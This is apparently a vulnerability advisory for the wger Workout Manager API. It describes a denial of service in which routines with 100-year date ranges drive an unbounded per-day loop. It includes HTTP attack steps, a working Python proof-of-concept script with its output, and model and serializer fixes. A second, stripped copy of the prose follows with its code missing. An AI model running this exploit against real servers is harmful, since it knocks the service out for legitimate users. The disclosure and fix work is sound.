Summary
Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.
Details
The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:
# File: wger/manager/models/routine.py, line 151
def clean(self):
if self.end and self.start and self.start > self.end:
raise ValidationError('The start time cannot be after the end time.')
# NO maximum duration check
The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.
The date_sequence property (line 256) uses an unbounded loop:
# File: wger/manager/models/routine.py, line 256
while current_date <= self.end:
# heavy computation per day: slots, entries, configs, logs
...
A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:
GET /api/v2/routine/<id>/date-sequence-display/
GET /api/v2/routine/<id>/date-sequence-gym/
GET /api/v2/routine/<id>/structure/
GET /api/v2/routine/<id>/logs/
GET /api/v2/routine/<id>/stats/
PoC
Prerequisites
- One authenticated user account
- No special permissions required
Attack Steps
# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json
{
"name": "DoS routine",
"start": "2000-01-01",
"end": "2099-12-31"
}
# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json
{
"routine": <routine_id>,
"order": 1,
"name": "Day A"
}
# 3. Trigger the expensive computation
GET /api/v2/routine/<routine_id>/date-sequence-display/
Authorization: Token <token>
Expected: HTTP 400 (routine duration exceeds maximum)
Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Unbounded date_sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import time
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
ATTACKER_USER = "dos_attacker_poc"
ATTACKER_PASS = "DosAttack!Poc!2025"
BANNER = """
=====================================================================
PoC: Unbounded date_sequence Denial of Service
Severity: HIGH
CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- 1. Authenticate ----
print("[1] Authenticating...")
token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
print(f" Registering account...")
r = requests.post(f"{API}/register/", json={
"username": ATTACKER_USER,
"password": ATTACKER_PASS,
})
if r.status_code in (200, 201):
token = r.json().get("token")
if not token:
token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
sys.exit(1)
print(f" Token: {token[:16]}...")
headers = api_headers(token)
# ---- 2. Create NORMAL routine (baseline) ----
print("\n[2] Creating baseline routine (30 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={
"name": "Normal 30-day routine",
"start": "2025-01-01",
"end": "2025-01-31",
})
normal_id = r.json()["id"]
r = requests.post(f"{API}/day/", headers=headers, json={
"routine": normal_id, "order": 1, "name": "Day A"
})
print(f" Routine id={normal_id} (30 days)")
start_time = time.time()
r = requests.get(
f"{API}/routine/{normal_id}/date-sequence-display/",
headers=headers,
)
baseline_time = time.time() - start_time
baseline_entries = len(r.json()) if r.status_code == 200 else 0
print(f" date-sequence-display: {r.status_code}, "
f"{baseline_entries} entries, {baseline_time:.2f}s")
# ---- 3. Create MALICIOUS routine (100 years) ----
print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={
"name": "DoS routine - 100 years",
"start": "2000-01-01",
"end": "2099-12-31",
})
if r.status_code != 201:
print(f" [-] Failed to create: {r.status_code} {r.text[:200]}")
sys.exit(1)
dos_id = r.json()["id"]
print(f" Routine id={dos_id}")
print(f" start=2000-01-01, end=2099-12-31")
print(f" Duration: ~36,525 days (NO validation limit!)")
r = requests.post(f"{API}/day/", headers=headers, json={
"routine": dos_id, "order": 1, "name": "DoS Day"
})
# ---- 4. ATTACK ----
print(f"\n{'='*65}")
print(f" ATTACK: Triggering date_sequence on 100-year routine")
print(f"{'='*65}")
print(f"\n GET {API}/routine/{dos_id}/date-sequence-display/")
print(f" This will iterate ~36,525 times in a while loop...")
start_time = time.time()
try:
r = requests.get(
f"{API}/routine/{dos_id}/date-sequence-display/",
headers=headers,
timeout=120,
)
elapsed = time.time() - start_time
dos_entries = len(r.json()) if r.status_code == 200 else 0
print(f"\n Response: HTTP {r.status_code}")
print(f" Entries returned: {dos_entries}")
print(f" Time elapsed: {elapsed:.2f}s")
except requests.exceptions.Timeout:
elapsed = time.time() - start_time
dos_entries = 0
print(f"\n REQUEST TIMED OUT after {elapsed:.2f}s!")
except requests.exceptions.ConnectionError:
elapsed = time.time() - start_time
dos_entries = 0
print(f"\n CONNECTION LOST after {elapsed:.2f}s!")
# ---- 5. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
print(f"\n Baseline (30-day routine):")
print(f" Entries: {baseline_entries}")
print(f" Time: {baseline_time:.2f}s")
print(f"\n Malicious (100-year routine):")
print(f" Entries: {dos_entries}")
print(f" Time: {elapsed:.2f}s")
if elapsed > baseline_time * 5 or dos_entries > 10000:
slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')
print(f"\n Slowdown factor: {slowdown:.1f}x")
print("""
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| No maximum duration is enforced on routines. |
| The date_sequence property loops once per day with no |
| upper bound. A 100-year routine forces ~36,525 |
| iterations of expensive O(days x slots x configs) work. |
| A single request can exhaust a server worker thread. |
+----------------------------------------------------------+
""")
else:
print("\n Response was fast - server may have limits or caching.")
Proof of Concept Output
=====================================================================
PoC: Unbounded date_sequence Denial of Service
Severity: HIGH
CWE-400: Uncontrolled Resource Consumption
=====================================================================
[1] Authenticating...
Registering account...
Token: 2ffbb18316fc4e0f...
[2] Creating baseline routine (30 days)...
Routine id=5 (30 days)
date-sequence-display: 200, 31 entries, 0.02s
[3] Creating malicious routine (100 years = 36,525 days)...
Routine id=6
start=2000-01-01, end=2099-12-31
Duration: ~36,525 days (NO validation limit!)
=================================================================
ATTACK: Triggering date_sequence on 100-year routine
=================================================================
GET http://localhost/api/v2/routine/6/date-sequence-display/
This will iterate ~36,525 times in a while loop...
Response: HTTP 200
Entries returned: 36525
Time elapsed: 3.06s
=================================================================
VERIFICATION
=================================================================
Baseline (30-day routine):
Entries: 31
Time: 0.02s
Malicious (100-year routine):
Entries: 36525
Time: 3.06s
Slowdown factor: 138.4x
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| No maximum duration is enforced on routines. |
| The date_sequence property loops once per day with no |
| upper bound. A 100-year routine forces ~36,525 |
| iterations of expensive O(days x slots x configs) work. |
| A single request can exhaust a server worker thread. |
+----------------------------------------------------------+
Impact
- Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
- Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
- No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
- Cache Bypass: The first request for each routine (or after
ROUTINE_CACHE_TTL expires) always runs the full computation. An attacker can create new routines to avoid cache hits.
- Five Affected Endpoints:
date-sequence-display, date-sequence-gym, structure, logs, and stats all trigger the same unbounded loop.
Fix
1. Add maximum duration validation in the model
# File: wger/manager/models/routine.py
MAX_ROUTINE_DAYS = 365
def clean(self):
if self.end and self.start:
if self.start > self.end:
raise ValidationError('Start cannot be after end.')
if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:
raise ValidationError(
f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'
)
2. Add the same validation in the serializer
# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
def validate(self, data):
start = data.get('start')
end = data.get('end')
if start and end and (end - start).days > 365:
raise serializers.ValidationError(
'Routine cannot span more than 365 days.'
)
return data
3. Add a safety cap in date_sequence (defence-in-depth)
# File: wger/manager/models/routine.py, inside date_sequence property
MAX_SEQUENCE_DAYS = 400
count = 0
while current_date <= self.end:
count += 1
if count > MAX_SEQUENCE_DAYS:
break
...
References
Summary
Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the
date_sequencecomputation via any of the routine detail endpoints. The server iterates once per day in an unboundedwhileloop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.Details
The
Routinemodel (file:wger/manager/models/routine.py) hasstartandenddate fields with only one validation --startmust not be afterend:The
RoutineSerializer(file:wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta betweenstartandend.The
date_sequenceproperty (line 256) uses an unbounded loop:A routine with
start=2000-01-01andend=2099-12-31produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:GET /api/v2/routine/<id>/date-sequence-display/GET /api/v2/routine/<id>/date-sequence-gym/GET /api/v2/routine/<id>/structure/GET /api/v2/routine/<id>/logs/GET /api/v2/routine/<id>/stats/PoC
Prerequisites
Attack Steps
Expected: HTTP 400 (routine duration exceeds maximum)
Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time
Proof of Concept Script
Proof of Concept Output
Impact
ROUTINE_CACHE_TTLexpires) always runs the full computation. An attacker can create new routines to avoid cache hits.date-sequence-display,date-sequence-gym,structure,logs, andstatsall trigger the same unbounded loop.Fix
1. Add maximum duration validation in the model
2. Add the same validation in the serializer
3. Add a safety cap in date_sequence (defence-in-depth)
References